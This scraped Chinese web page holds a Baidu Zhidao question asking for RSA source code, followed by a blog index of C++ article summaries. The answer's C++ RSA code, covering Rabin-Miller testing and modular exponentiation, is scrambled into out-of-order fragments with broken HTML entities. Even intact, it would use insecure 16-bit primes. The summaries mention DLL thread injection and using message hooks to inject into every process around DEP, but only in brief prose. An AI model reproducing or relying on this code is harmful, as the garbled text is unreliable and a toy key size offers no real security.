能也发我一份模拟水面的C或C++带php注释代码码吗,谢谢T^T 1123046019

求关于RSA加密算法的源程序一份,代码是java或者c++的,能成功运行的,代码有注释最好,_百度知道
求关于RSA加密算法的源程序一份,代码是java或者c++的,能成功运行的,代码有注释最好,
您可能关注的推广回答者:
加密算法的相关知识
其他1条回答
cout &/&lt: &保证最低位是1;
cout &lt, i++)
q= (unsigned char *)pS
yy=1 - yy,b&#47,a为奇数时;n&quot, 43;
yy=0,非素数!(b & 1))
b&c=a * c %保证最低位是1;&
randSeed=s,a)=gcd(b&#47, 73;
cout &abcdefghijklmnopqrstuvwxyz&&inline unsigned __int64 MulMod(unsigned __int64
m=e,其中m是正奇数;=n的最大的s;/
if(xx == 0)
/E& &quot,2& endl,gcd(a;7;保证最高位是1
base+=g_R随机生成两个素数
Rsa, 59; i &
R&lt,循环调用核心loop次全部通过返回1; hex & &lt.d &RandNumber,=1;
Rabin-Miller素数测试;
b&gt这个是C语言的 我帮你找到的,即保证是奇数
} while(.e=g_R
&#47,返回值 x=base^pow mod n */
for(unsigned __int64 i=.s++.p &
return 0;*
Rabin-Miller素数测试, pDec[n];/公匙;&&lt.e &/* 随机生成一个bits位(二进制位)的素数; & (bits - 1);小素数表const static long
g_PrimeTable[]={3;
cout & r,* 模乘运算;/
}}&#47, n),若把64位整数拆为两个32位整数不知是否可以解决这个问题。 n是待测素数;}&#47.n=Rsa, 7;* 随机产生一个RSA加密参数 *&#47, long loop){
/&#47, unsigned __int64 &pow、如果v==1,交换a;&=1,&#47,不参与加密解密运算
unsigned __int64
return c, 37:
RandNumber(unsigned __int64 s=0);
/&#47, c=1;&RSA_PARAM RsaGetParam(void){
Rsa={ 0 };
yy=1; - Rabin-M&#47!(a & 1)) && (, 41;& pSrc &lt,因此实际处理范围没有64位
a=MulMod(a;
j=y,.n),f)=1
unsigned __int64 i &
cout &lt,最大公约数就是本身
&#47、j, j!RabinMiller(&gt!(m & 1))
++j;&lt.q & endl:RandNumber(unsigned __int64 s){ if(,gcd(b;
b--; & (unsigned long)pDec[i] &a=a * a %
b=t;/ & &循环调用Rabin-Miller测试loop次;&
unsigned __int64
t, unsigned __int64 &b){
unsigned __int64&lt, 61.f=(R/unsigned __int64 EuclidGcd(unsigned __int64 &p,求x, r、b, unsigned __int64 &q){
unsigned __int64
t=a, Rsa, unsigned __int64 n){
return a * b % n.f &&
x=j;&再加上一个随机数
base|=1, 89;/&#47.f) !RabinMillerKnl(n))
return 0, n);
if(p == q)
unsigned __int64
b=p & g_PrimeC=1; &lt!(a & 1))
t=a;*欧几里得法求最大公约数*&#47,b
b=(b - a) & i &lt, n); n:&=2^32时已经造成了溢出;
&#47!(b & 1))
xx=1 -如果b小于a; k &lt, m,d)=1
unsigned __int64
s:Random(unsigned __int64 n){
randSeed=multiplier * randSeed +
&#47, n),返回值 x=a*b mod n
*&#47?&lt.n &两个素数,交换a,i=i+1
v=PowMod(v;/ &lt,小于2^16,gcd(e;&p=&=1; &
&#47,你自己改一下吧#include &;stdlib& &unsigned __int64 RandomPrime(char bits){
unsigned __int64
pSrc[]=&quot.Random(65536);8;
&#47, 29;&
unsigned __int64
Random(unsigned __int64 n);
if(xx == yy)
&#47,非素数通过测试的概率是1/,j是非负整数
while(; 1; &&
cout &void TestRSA(void){
xx,使得非素数通过测试的概率降为(1//
/}&#47.s=0,但由于这里a*a在a&
y=1;f=(p-1)*(q-1);两数相等; &/
return x,即log2(n)} RSA_PARAM;=1;#include &b为偶数;/
if(n % g_PrimeTable[i] == 0)
//&#47.p=RandomPrime(16);iostream&gt.p - 1) * (Runsigned __int64 Euclid(unsigned __int64 &a;4.n & &quot, r=1; hex &lt, unsigned __int64 &n){
unsigned __int64
pDec[i]=PowMod(pEnc[i];&#47:&函数看起来可以处理64位的整数。注意;块长.&#92、令i=1
R & (char *)pDec &lt.d;f=(p-1)*(q-1)=&quot、a都是奇数;
const unsigned long n=sizeof(pSrc);3;
/#include &lt,即保证是奇数;4)^loop
for(long i=0、v=v^2b;&#47!s)
randSeed= (unsigned __int64)time(NULL); q :通过测试并不一定就是素数;
base= (unsigned long)1 &Decode,e*d=1 (mod f);
a=b; &lt, endl,否则返回0
*&#47,a)=gcd((b-a)&#47,
unsigned __int64
b=p &lt, 11;2; &n-1
b=2 + g_Rnd,gcd(a; &&/
unsigned __int64
randSeed, 30))
k++;//&&#47、如果v=n-1;&* 模幂运算、先计算出m;*
RSA加密解密
}&#47!(b & 1)))
&#47.Random(n - 3);2, 17;* 拉宾-米勒测试
*&#47,通过测试
while(}/=b&
unsigned char
/ sizeof(long),
/ e, 30));
while(:;0.s &public,满足2^s& 1; }
}unsigned __int64 RandN q ,满足a*x =1 (mod b)相当于求解a*x-b*y=1的最小整数解
y-=x;6;/ a)
t=a;long RabinMiller(unsigned __int64 &n;*
已知a,b)=gcd(b; i++)
pEnc[i]=PowMod(q[i];}static RandNumber
&#47, 67.n):& pEnc[i] &lt, &&gt, 97
}, 31;s=log2(n)
t&gt, 47;}/
unsigned __int64
t,只能是奇数
} while(SteinGcd(R&lt,a)
} while(b);2;&n=p*q=&quot: &lt, &#47,n=p*q;q=&
xx=1;;using namespace std,不参与加密解密运算
unsigned __int64const unsigned __int64
multiplier=;
cout &lt, 83;
/两数相等;&#47.f).q.Random(base), 23, r, unsigned __int64 &&#47.d=Euclid(R4
i=m /T这里也会溢出;/ &#47, 53;& i & &lt.e; r、b均为偶数时;/void TestRM(void){
unsigned long
cout && i+=2)
if(RabinMiller(i;long RabinMillerKnl(unsigned __int64 &n){
unsigned __int64
return 1; y)
t=Rconst unsigned __int64
adder=2234541;unsigned __int64 SteinGcd(unsigned __int64 &p、计算v=b^m mod n
v=PowMod(b;&&#47。
c=MulMod(a;
cout &} /a;
if(p == q)
return randSeed %
if(b &lt,提高效率
for(long i=0;=1;
}int main(void){
TestRSA(),b)=2*gcd(a&#47, b=pow,b
a=b;&&lt, 5;
if(i == j)
return 0?&*
Stein法求最大公约数
*&#47,最多32位 */&随机数类class
RandNumber{
private,通过测试返回1; &&
if(、随机取一个b;
unsigned __int64
t.q=RandomPrime(16)、循环到5
return 1;&&: q, 13;s=&&lt,gcd(n;
cout &lt,使得n-1=m*2^j; ; i &全部通过认为是素数}/=1;e=&quot!= 1); i &
/1;先用小素数筛选一次;
while(,gcd(b;
Rsa.q - 1);const static long
g_PrimeCount=sizeof(g_PrimeTable) /&#47, R
return R辗转相除法.e,
cout &lt,最大公约数就是本身
while((; q .e|=1;&RSA算法所需参数typedef struct
RSA_PARAM_Tag{ unsigned __int64
a&gt,a-qb)
for(unsigned long i=0;
cout &&lt, 79;&#47.e;
unsigned __int64
r=RsaGetParam();
Rsa,要互素;/
m=n - 1,否则返回0;&#47?&lt.p * R
for(unsigned long i=0;
return r * a,通过测试
if(v == 1)
return 1;&如果a为偶数;unsigned __int64 PowMod(unsigned __int64 &/&2、如果i==l;
cout &lt, unsigned __int64 &q){
unsigned __int64
/&#47, 2;&
x=0;进行拉宾-米勒测试30次私匙;
cout &lt, 71;&
cout &lt,因f一定是偶数;
/&//&#47, i!= n - 1)
/time& endl
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁文章-1178&
trackbacks-0
文章分类 - C++转载
网上搜索的C++转载文章
摘要: 前几天,应一个小友要求,写了几个字符串转换函数帮助其进行语言学习,自觉其中的几个函数还比较满意,故发布在此,可供初学者参考。 浮点数转换字符串函数说简单也简单,说麻烦,也够烦心的,关键看你如何写了。简单点的几十行代码就行,复杂点的恐怕就的几百行代码了。如果还要考虑移植性、可读性甚至可维护性等就更麻烦的了。我一贯认为,一些事务性的项目应着重考虑移植性、可读性和可维护性等,而常用的带点系统性质的函数代码就应该以执行效率为主。 本文的浮点数转换字符串函数还是比较复杂的,基本可算得上较低层次的转换。由于我已经习惯了用BCB写C/C++代码,因此我写的浮点数转换字符串函数是80位扩展精度浮点数的,但..
carekee 阅读(580) |
摘要: printf系列函数,包括fprintf、sprintf函数等,其功能是将C语言的所有基本数据类型按用户要求进行格式化输出。 printf函数几乎是所有学习C语言的人接触到的第一个函数,是C语言标准中使用频率最高的函数。 printf函数是C语言标准函数中最著名的可变参数函数,看见printf这个函数名,就想起了C语言的说法一点也不过分,因此,可以说是C语言标准函数中的最具标志性的函数。 printf系列函数。在DOS环境下,这一系列输出函数涵盖了PC机所能用到的所有输出设备,所以printf系列函数也是C语言中最复杂的函数。 当然,随着DOS时代的结束,不仅printf系列函数的作用...
carekee 阅读(261) |
摘要: 处理含有可变参数的函数,只要解决如何访问可变参数列表即可。ANSI C和UNIX系统都定义了一些宏来访问函数中的可变参数表:va_list 是一个指向参数列表的指针的宏;va_start()、va_end()是两个访问可变参数列表的函数。va_start()用于把参数指针指向参数列表中的第一个可变参数。它在在UNIX和ANSI下是不同的:在UNIX下,只需要va_list作参数:void va_start( va_list arg_ptr );在ANSI下,除了va_list作参数外,还需要把第一个可选参数之前的参数也传进去:void va_start( va_list arg_ptr, pr
carekee 阅读(121) |
摘要: C语言根据日期判断星期几(使用基姆拉尔森计算公式)算法如下: 基姆拉尔森计算公式W= (d+2*m+3*(m+1)/5+y+y/4-y/100+y/400) mod 7 在公式中d表示日期中的日数,m表示月份数,y表示年数。注意:在公式中有个与其他公式不同的地方:把一月和二月看成是上一年的十三月和十四月,例:如果是则换算成:来代入公式计算。以公元元年为参考,公元元年1月1日为星期一&/PRE&&PRE&程序如下:#include &stdio.h&void CaculateWeekDay(int y,int m,
carekee 阅读(164) |
摘要: C++内存分配秘籍—new,malloc,GlobalAlloc详解 _______只为因内存分配而无法入眠的程序员 一。关于内存 1、内存分配方式 内存分配方式有三种: (1)从静态存储区域分配。内存在程序编译的时候就已经分配好,这块内存在程序的整个运行期间都存在。例如全局变量,static变量。 (2)在栈上创建。在执行函数时,函数内局部变量的存储单元都可以在栈上创建,函数执行结束时这些存储单元自动被释放。栈内存分配运算内置于处理器的指令集中,效率很高,但是分配的内存容量有限。 (3) 从堆上分配,亦称动态内存分配。程序在运行的时候用malloc或new申请任意多少的内存,程序员自...
carekee 阅读(110) |
摘要: 下面这段程序是一个C语言的小技巧,其展示了如何把一个参数为结构体的函数转成一个可变参数的函数,其中用到了宏和内建宏“__VA_ARGS__”,下面这段程序可以在GCC下正常编译通过:7181920#include &stdio.h&#define func(...) myfunc((struct mystru){__VA_ARGS__})struct mystru { const char * };void myfunc(struct mystru ms ){printf(&%s: %d/n
carekee 阅读(92) |
摘要: 前言C++中的虚函数的作用主要是实现了多态的机制。关于多态,简而言之就是用父类型别的指针指向其子类的实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”,这是一种泛型技术。所谓泛型技术,说白了就是试图使用不变的代码来实现可变的算法。比如:模板技术,RTTI技术,虚函数技术,要么是试图做到在编译时决议,要么试图做到运行时决议。关于虚函数的使用方法,我在这里不做过多的阐述。大家可以看看相关的C++的书籍。在这篇文章中,我只想从虚函数的实现机制上面为大家 一个清晰的剖析。当然,相同的文章在网上也出现过一些了,但我总感觉这些文章不是很容易阅读,大段大段的代码,没有图片
carekee 阅读(212) |
摘要: 下载源代码 摘要: 随机数在实际运用中非常之多,如游戏设计,信号处理,通常我们很容易得到平均分布的随机数。但如何根据平均分布的随机数进而产生其它分布的随机数呢?本文提出了一种基于几何直观面积的方法,以正态分布随机数的产生为例讨论了任意分布的随机数的产生方法。 正文:一、平均分布随机数的产生 大家都知道,随机数在各个方面都有很大的作用,在vc的环境下,为我们提供了库函数rand()来产生一个随机的整数。该随机数是平均在0~RAND_MAX之间平均分布的,RAND_MAX是一个常量,在VC6.0环境下是这样定义的:#define RAND_MAX 0x7fff 它是一个short 型数据的最大值,
carekee 阅读(321) |
摘要: 一.CString与LPCWSTR 两者的不同:LPCWSTR 是Unicode字符串指针,初始化时串有多大,申请空间就有多大,以后存贮若超过则出现无法预料的结果,这是它与CString的不同之处。而CString是一个串类,内存空间类会自动管理。 CString转换成LPCWSTR方法一:CString strFileN LPCWSTR lpcwStr = strFileName.AllocSysString(); 方法二:CString str=_T(&TestStr&); USES_CONVERSION; LPCWSTR lpcwStr = A2CW((LPC
carekee 阅读(340) |
摘要: 先把代码贴上:extern &C&{#include &jpeglib.h&#pragma comment(lib,&libjpeg.lib&)//把无压缩的图像数据(纹理)存储成jepgbool appSaveJpegRGB(char *filepath,unsigned char * data,int width,int height){unsigned char *Data =int nWidth =int nHeight =struct jpeg_compress_struct jcs
carekee 阅读(164) |
摘要: CString-&std::string 例子:CString strMfc=“test“;std::string strSstrStl=strMfc.GetBuffer(0);unicode情形下: CStringW strw =_T(&test&); CStringA stra(strw.GetBuffer(0)); strw.ReleaseBuffer(); std::string imgpath=stra.GetBuffer(0); stra.ReleaseBuffer();std::string-&CString 例子:CString strMf
carekee 阅读(785) |
摘要: VC屏幕截图代码日 14:09HBITMAP CLinkDlg::CopyScreenToBitmap(LPRECT lpRect) { HDC hScrDC, hMemDC; HBITMAP hOldBint nX, nY, nX2, nY2; int nWidth, nH int xScrn, yS if (IsRectEmpty(lpRect)) return NULL; hScrDC = CreateDC(_T(&DISPLAY&), NULL, NULL, NULL); hMemDC = CreateCompat
carekee 阅读(292) |
摘要: 如何理解LPCTSTR类型? L表示long指针 这是为了兼容Windows 3.1等16位操作系统遗留下来的,在win32中以及其他的32为操作系统中, long指针和near指针及far修饰符都是为了兼容的作用。没有实际意义。P表示这是一个指针C表示是一个常量T表示在Win32环境中, 有一个_T宏这个宏用来表示你的字符是否使用UNICODE, 如果你的程序定义了UNICODE或者其他相关的宏,那么这个字符或者字符串将被作为UNICODE字符串,否则就是标准的ANSI字符串。STR表示这个变量是一个字符串所以LPCTSTR就表示一个指向常固定地址的可以根据一些宏定义改变语义的字符串。同样,
carekee 阅读(383) |
摘要: 俄式乘法,又被称为俄国农夫法,它是对两个正整数相乘的非主流算法。假设m和n是两个正整数,我们要计算它们的积。它的主要原理如下: 当n为偶数时:n * m=n/2 * 2m 当n为奇数时:n * m=(n-1)/2 * 2m + m 并以1*m=m作为结束条件。n*m步骤如下:n m------------------------------------------50 12 260 6 401 2080------------------------------------------sum=130+05—————————
carekee 阅读(469) |
摘要: 分治算法求数组中最大元素位置的算法:#include &iostream&int Max(int a[], int low, int high);void main(){int a[10],for(int i=0;i&10;i++)scanf(&%d&, &a[i]);m=Max(a, 0, 9);printf(&%d\n&, m);}/**********************************************************************************分治算法求数组中最大元素
carekee 阅读(240) |
摘要: /****************************************修改折半查找算法进行范围查找***************************************/#include &iostream&void ZheBan(int min, int max, int r[], int low, int high);void main(){int r[5], min,printf(&请输入数组元素:&);for(int i=0; i&5; i++)scanf(&%d&, &r[i]);prin
carekee 阅读(241) |
摘要: #include &iostream&void Merge(int r[], int r1[], int s, int m, int t); //函数声明void MergeSort(int r[], int r1[], int s, int t);void main(){int a[6], a1[6];for(i=0; i&6; i++)scanf(&%d&, &a[i]);MergeSort(a, a1, 0, 5);for(i=0; i&6; i++)printf(&%d &, a[i]);printf(
carekee 阅读(49) |
摘要: 程序中用到了CArray数组,一开始调试时一切正常,但下午调试时,只要进入断点,就弹出错误,提示“afxtempl.h Line:254”出错。网上查证,找到了错误原因(与上面博客相同) 1、数组访问越界:可能是程序中确实存在这个问题2、可能是在Watch框内想要查看一个越界的数组元素如果是后者则会出现运行正常,但是调试的时候会出错解决办法:1 单步跟踪查找到越界数组2 删除所有Watch项删除掉Watch中的CArray变量,恢复正常。
carekee 阅读(360) |
摘要: /******************************************************************************************** * MOD-NAME : QArray.h * LONG-NAME : QuickSort algorithm enabled CArray * AUTHOR : huangpf * DEPARTMENT : XXX * CREATION-DATE :
* FUNCTION : 实现CARRAY的快速排序算法 ***************************************
carekee 阅读(710) |
摘要: 不知道从什么时候开始,switch-case语句成了代码坏味道的代名词,写代码的时候小心翼翼地避开它,看到别人代码中的switch-case就皱眉头,想想其实大可不必这样,switch-case语句并不是代码坏味道的根源,坏味道来自糟糕的代码(结构)设计,比如过多的switch-case分支,或者多重switch-case嵌套等等,这些都将导致代码可读性下降,如果再加上代码风格较差,代码不对齐,那么坏味道就相当地大了。 简短的switch-case还是继续用吧,但是对于分支太多的长switch-case最好能想办法化解开,那么什么算长什么算短呢?我也不知道,就以在最低分辨率的显示器上能够在一个
carekee 阅读(342) |
摘要: 用C++ TR1 生成随机数原作 :[英文原文]翻译 :Orbit(阿猫阿狗)介绍本文将介绍如何使用C++ TR1(C++ 标准委员会 Technical Report 1) 提供的随机数生成功能 除了介绍基本的一致随机数生成之外,还会介绍随机样本的可能分布,包括:柏努利分布,二项分布,指数分布,伽马分布,几何分布,正态分布和泊松分布。我会指出一些针对特定分布需要注意的地方,比如参数约定,最后还会给出一些提示,比如如何使用TR1不直接支持的分布产生随机数,比如柯西分布,chi-squared分布和Student t。Visual Studio 2008 现在通过 feature pack支持T
carekee 阅读(1084) |
摘要: 慎用USES_CONVERSIONUSES_CONVERSION是ATL中的一个宏定义。用于编码转换(用的比较多的是CString向LPCWSTR转换)。在ATL下使用要包含头文件#include "atlconv.h"使用USES_CONVERSION一定要小心,它们从堆栈上分配内存,直到调用它的函数返回,该内存不会被释放。如果在一个循环中,这个宏被反复调用几万次,将不可避免的产生stackoverflow。在一个函数的循环体中使用A2W等字符转换宏可能引起栈溢出。#include &atlconv.h&void fn(){ while(true) { { USES_CONVERSION;
carekee 阅读(11873) |
摘要: 经典问题:double* (*a)[3][6];cout&&sizeof(a)&& // 4 a为指针cout&&sizeof(*a)&& // 72 *a为一个有3*6个指针元素的数组cout&&sizeof(**a)&& // 24 **a为数组一维的6个指针cout&&sizeo...
carekee 阅读(201) |
摘要: 不定数量参数的实现 - 每天进步一点点... - CSDN博客 每天进步一点点...——C/C++, Linux, /*----------------------------------------------------- SCRNSIZE.C -- Displays screen size in a message box (c) Charles Petzold, 1...
carekee 阅读(855) |
摘要: 一.加载Skin++0.将SkinPlusPlusDLL.lib,SkinPlusPlus.h,XPCorona.ssk都复制到当前目录1.在(VC7)"项目-&属性-&链接器-&输入-&附加依赖项"中加入SkinPlusPlusDLL.lib 或 在(VC6)"Project-&Settings-&Link-&Object/library"中加入Skin...
carekee 阅读(1217) |
摘要: 在COM方法中可用VARIANT类型传递数组数据,在VC++中用SAFEARRAY处理。下面给出输入和输出数组的例子 1。输入数组到COM中 STDMETHODIMP CTestCom1::vb2vc(VARIANT buffer) { long dim=SafeArrayGetDim(buffer.parray); SafeArrayGetUB...
carekee 阅读(421) |
摘要: 这两天我真疯掉了,主要是学习的原因.从来没有感觉指针还可以这样用.哎以后的好好看书了.struct strpt{char a:1;char b:2;char c:4;char d:2;};int a = 12;strpt* pt = (strpt*)&a;哎.....看来还的加强学习.不过我的能令vc2005编译器崩溃的程序还是让我自豪万分.错误提示:1&e:\workspace\t...
carekee 阅读(179) |
摘要: 一说单态类,好多程序员都感觉脑袋大了,什么是单态类,它是干什么的,类不是可以有许多的实例吗,怎么会有单态类? 说白了,单态类就是类的实例只有一个.这样大家就都会明白了吧.但是如何做类的实例只有一份呢?大家的困惑的地方只有一个,就是类可以在多处new 这个类的实例. 可以说new 无处不在.那怎么实现类只有一个实例呢.对吧?其实这是惯性思维的结果,如果我们逆向思维一下就会明白如何实现类的一个实例.列...
carekee 阅读(431) |
摘要: 今天共享一篇线程注入的知识,提到注入大家会 想到的是不好的名词对吗,其实注入是在调试工具中最常用的如 VC 自带的DLL查看器(Depends.Exe)、微点 的主动防御软件、Symbian 内存泄露检测工具HookLogger 等等。本文适合人群为高级程序员、高级技术人员和中 级程序员等。如果对进程,线程,虚拟内存管理,DLL以及字符集编码不了解的,那就回头翻 一翻相关知识再看本文。本文用到了大...
carekee 阅读(1311) |
摘要: 文件操作在编程的过程中,文件的操作是一个经常用到的问题,在VC++中,可以使用多种方法对文件操作,下面我就按以下几个部分对此作详细介绍,就是:1、基于C的文件操作;2、基于C++的文件操作;3、基于WINAPI的文件操作;4、基于MFC库的文件操作。5、Unix\Linux文件操作一、基于C的文件操作clearerr(清除文件流的错误旗标) 相关函数 feof表头文件 #include&st...
carekee 阅读(1407) |
摘要: 一 多 任 务, 多 进 程 和 多 线 程---- Windows95 和WindowsNT 操 作 系 统 支 持 多 任 务 调 度 和 处 理, 基 于 该 功 能 所 提 供 的 多 任 务 空 间, 程 序 员 可 以 完 全 控 制 应 用 程 序 中 每 一 个 片 段 的 运 行, 从 而 编 写 高 效 率 的 应 用 程 序。---- 所 谓 多 任 务 通 常 包 括 这 ...
carekee 阅读(54) |
摘要: COM 的挂钩其实已经是一个很古老的话题了,其核心技术就是替换 COM 对象虚表中相应位置的函数指针,从而达到挂钩的效果。顺便说一句,这个方法和内核的 SSDT 挂钩是十分类似的。其相应的实现代码也十分简单,如下所示:view plaincopy to clipboardprint?typedef struct _tagHookHelper {
PVOID* } HOOKHELPER...
carekee 阅读(71) |
摘要: 不知道诸位有没有过这样的经历:本是简单合法的 C++ 代码,但编译链接的时候却出现了如下的链接错误:& error LNK2001: 无法解析的外部符号 __purecall在解决这个问题之前,我们可以一起重现这个错误,先。新建一个 Win32 工程,打开 VS 的工程设置,修改如下项目:将“启用 C++ 异常”设为“否”;将“基本...
carekee 阅读(205) |
摘要: 在C++中,类的析构函数被解释为用于销毁 对象的代码块,在对象将被从内存中清除之前调用。而事实上,利用析构函数的调用时机,可以做很多普通的过程控制代码很难做到的 事情。比如在多线程程序中的锁。在加锁和开锁的过程中,必须非常小心地配对,稍有不慎就 会少了开锁次数,使资源锁得不到打开。在有复杂控制的程序体中,这种维护是很烦琐的。以Windows程序为例,在类 CWithLock中使用临界区定义一个锁,...
carekee 阅读(241) |
摘要: 一般是三种方法:(1)用vector的vector,(2)先分配一个指针 数组,然后让里面每一个指针再指向一个数组,这个做法的好处是访问数组元素时比较直观,可以用a[x][y]这样的写法,缺点是它相当于C#中的一个锯齿 数组,内存空间不连续。(3)直接分配一个x*y大小的一维数组,这样保证空间是连续的,但访问数组元素不直观。对于我这个“经典”回答,我那时还一直是 挺得意的,...
carekee 阅读(150) |
摘要: 对于strcpy,sprintf,strcat这些不安全的函数的讨论应该算是不少了,大家都知道可以用strncpy,snprintf和strncat来替换它们。但实际工作中似乎这些“安全版”的函数带来的疑惑还是不小,总结了一下,列在这里。  1.sprintf(char * str, const char * format, ...) -& snprintf(char...
carekee 阅读(956) |
摘要: 译者序:  本文介绍了一种在调试过程中寻找悬挂指针(野指针)的方法,这种方法是通过对new和delete运算符的重载来实现的。  这种方法不是完美的,它是以调试期的内存泄露为代价来实现的,因为文中出现的代码是绝不能出现在一个最终发布的软件产品中的,只能在调试时使用。  在VC中,在调试环境下,可以简单的通过把new替换成DEBUG_NEW来实现功能更强更方便的指针检测,详情可参考MSDN。DEBU...
carekee 阅读(75) |
摘要: 译者注: 本文简单介绍了使用Microsoft Visual C++中的__declspec关键字来实现“属性(Property)”这个C++中没有的特性的方法。有关__declspec关键字的更详细的信息,可以参考MSDN。 __declspec关键字不是标准C++的一部分,因此这种实现“属性”的方法只适用于Visual C++,如果想要了解在标准...
carekee 阅读(50) |
摘要: 摘要:本文介绍了在C++中实现“属性 (Property)”的方法,“属性”是我们在C#(或其它一些语言)中常常能用到的一种特性。这里介绍的实现方法使用的是标准的C++,没有用任何其它的语言扩展。而大部分的库或是编译器为了实现“属性”,往往对C++作一些扩展,就像我们在托管的C++或是C++ Builder中看到的那样,也有的...
carekee 阅读(142) |
摘要: 问题源自一段简单的代码:在以上代码中,如果你输入:abcd,那么如你所望,你会看到"正确"的输出"c"。但是会有错误提示出现: Debug Error!Program: test.exeDAMAGE: after Normal block(#64) at 0x更离奇的是,如果将代码改为如下的代码: 如果只输入一个字符a,那么依然报错。是不是奇怪,分配了一个字符,输入了一个字符,那么...
carekee 阅读(88) |
摘要: 内存可以说是C和C++语言学习的关键点。这里说一点我的理解,一家之言,欢迎拍砖哈。内存要想理解透彻,首先要理解内存编址。即不同的内存条,内存模块,插到机器上,具体对应的内存地址是多少。最开始的PC机,IBM PC XT,只有640k内存。IBM是这么规划的,最低的128k,是BIOS的地址,毕竟BIOS也是汇编语言,它也需要合法地址,才能被CPU正确运行。512k~640k,被定义为端口映射地址,...
carekee 阅读(221) |
摘要: C语言并不是一种很方便的语言,它的字符串就是一例。按照C语言的定义,“字符串就是一段内存空间,里面包含ASCII字符,并且,以结尾,总共能存放n-1个字符。”按照这个描述,字符串处理确实很麻烦,还很容易出错。 为了方便用户,C语言标准库向用户提供了一些字符串函数,如字符串拷贝、构造、清空等函数,在一定程度上方便了用户的使用。但是,我无意中发现...
carekee 阅读(406) |
摘要: 当今国互联网的飞速发展让人们获益匪浅,同时人们对于互联网的期望值也变得越来越高。这就形成了一个矛盾,虽然互联网的发展已经是相当迅猛的了,但是人们还是期望从服务器到客户终端的文件传输的速度能够比现在再快一些,这种要求(当然是合理的要求)好像从来也满足不了。在向人们询问“一种什么样的速度对于数据传输来说才是最理想的”问题时,几乎每一次你都会得到一种不同的答案:有的人认为数据传输...
carekee 阅读(993) |
摘要: 早在两年前我就已经能很熟练的运用完成端口这种技术了,只是一直没有机会将它用在什么项目中,这段时间见到这种技术被过分炒作,过分的神秘化,就想写一篇解释它如何工作的文章.想告诉大家它没有传说中的那么高深难懂!有什么错误的地方还请高人指正.转载请注明出处及作者,谢谢!以一个文件传输服务端为例,在我的机器上它只起两个线程就可以为很多个个客户端同时提供文件下载服务,程序的性能会随机器内CPU个数的增加而线性...
carekee 阅读(584) |
摘要: Boost库实在是一个博大精深的库。经过实验,我发现巧用boost::bind和boost::function可以实现一些巧妙的设计。
编写过MFC程序的朋友都知道,通过资源编辑器编辑菜单项,设定菜单项ID,然后MFC内部通过该ID来映射菜单命令处理函数和菜单界面更新函数。我设想撇开MFC的资源编辑,在MFC程序中通过xml文件来进行界面配置,然后利用字符串来映射消息处理函数。借助boost库,...
carekee 阅读(82) |
摘要: CSDN上有网友提问:view plaincopy to clipboardprint?int *pArray_No1,*pArray_No2,a[]={1,2,3,4};
pArray_No1=new int[10];
pArray_No2=a; cout & &sizeof(pArray_No1) & &endl //结果为4 & &sizeof(pAr...
carekee 阅读(134) |
摘要: 请注意,这里我所说的动态数组不是指你自己new 出来的数组,而是指STL 中的std::vector 和MFC 中的CArray 之类的容器。开始以为使用std::vector 不过是免除动态内存之苦。免除自己手动开辟和释放内存是一方面,实际上在使用的过程中你会逐渐发现使用std::vector 的好处。今天我就发现了一个好处。今天我修改别人写的一个图像匹配算法,所谓图像匹配就是找出两幅图像中相同...
carekee 阅读(285) |
摘要: 在MFC工程(包括单文档、多文档、基于对话框、MFC DLL等)调试程序时可以使用trace宏来输出相关变量的值,在Win 32工程(包括Win32 Application和Win 32DLL)只能使用OutputDebugString函数来输出相关变量值。但是我觉得OutputDebugString比起trace宏有很大的不足,OutputDebugString不能像trace宏一样格式化输出,...
carekee 阅读(149) |
摘要: Windows环境下读写文件一般有下列有下面几种方式:C语言的文件操作函数,如fopen函数等,C++的I/O流库,Win32 API的文件操作函数,如CreateFile()、WriteFile()、ReadFile(),MFC的文件操作类,如CFile和CStdioFile等等。但是在大型的数据文件,上面的文件处理方法是不太适合的。对于大文件的操作一般是以内存映射文件来加以处理的。为此本人以读...
carekee 阅读(155) |
摘要: 一个朋友向我请教一个程序,相关代码如下: vector &string& ifstream inFile("F:\\MyReceiveFiles\\FillCompo_KP.mod", ios::in); while (getline(inFile, s)) vs.push_back(s); cout&&vs.size()&&endl...
carekee 阅读(218) |
摘要: 前言:dbf文件是一种著名的数据库文件,其特点是可以记录单个数据表的数据。Maozefa大侠曾经写过两篇文章论述如何操作dbf文件:《C++老代码 -- DBF数据文件操作类DBFile》(http://blog.csdn.net/maozefa/archive//1787074.aspx)和C语言版的DBF本地数据库文件操作函数(http://blog.csdn.net/ma...
carekee 阅读(723) |
摘要: 要把自己的DLL注入到所有进程,在Win7和Vista下的环境使用远程线程,比较费力气因为数据执行保护(DEP)有防御最后选择消息钩子来实现。1.钩子中对HOOK消息的处理部分要在DLL中实现,然后导出这个函数比如HookProc2.HookProc中要使用CallNextHookEx(G_HHOOK, nCode, wParam, lParam);把消息向下传递3.在CallNextHookEx...
carekee 阅读(127) |
摘要: 程序做成模块的方式,层层调用是非常好的编程风格,做成模块一般分为动态调用的DLL模块,另一种是静态LIB模块。静态LIB编译后的程序不用附带DLL程序比较方便,编写LIB的方法是这样的以VS6为例子1.在VS6中创建一个静态LIB的项目2.添加一个头文件lib.h3.添加一个实现文件lib.cpp4.在lib.h中声明要导出的函数比如view plaincopy to clipboardprint...
carekee 阅读(92) |
摘要: Download demo source - 726.17 KB
IntroductionIn order to help mitigate the risk of cross-site scripting, a new feature has been introduced in Microsoft Internet Explorer 6 SP1. This feature is a new ...
carekee 阅读(851) |
摘要: Download .NET demo (WinForms) - 280 KB Download .NET source code (WinForms) - 175 KB Download Native C++ demo (MFC VS2008) - 1.27 MB Download Native C++ source (MFC VS2008) - 299 KB Download Native C+...
carekee 阅读(212) |
摘要: 项目中需要分类日志功能,且日志由多个进程产生,所以写了这个类。#ifndef CAPPLOG_H_#define CAPPLOG_H_#include "Generic.h"enum LOG_TYPE{ LOG_DEAGNOSTIC_MSG = 0x, LOG_EVENT = 0x, LOG_ACTIVITY = 0x, LOG_ERROR = 0x...
carekee 阅读(247) |
摘要: 第一招虚函数通过派生类来进行功能扩展是基本的面向对象的方式,这种方式大如下:class base{public: virtual ~base(){} virtual void fun() { cout && "基本功能" && }};class derive:public base{public: void fun() { cout && "扩展功能...
carekee 阅读(59) |
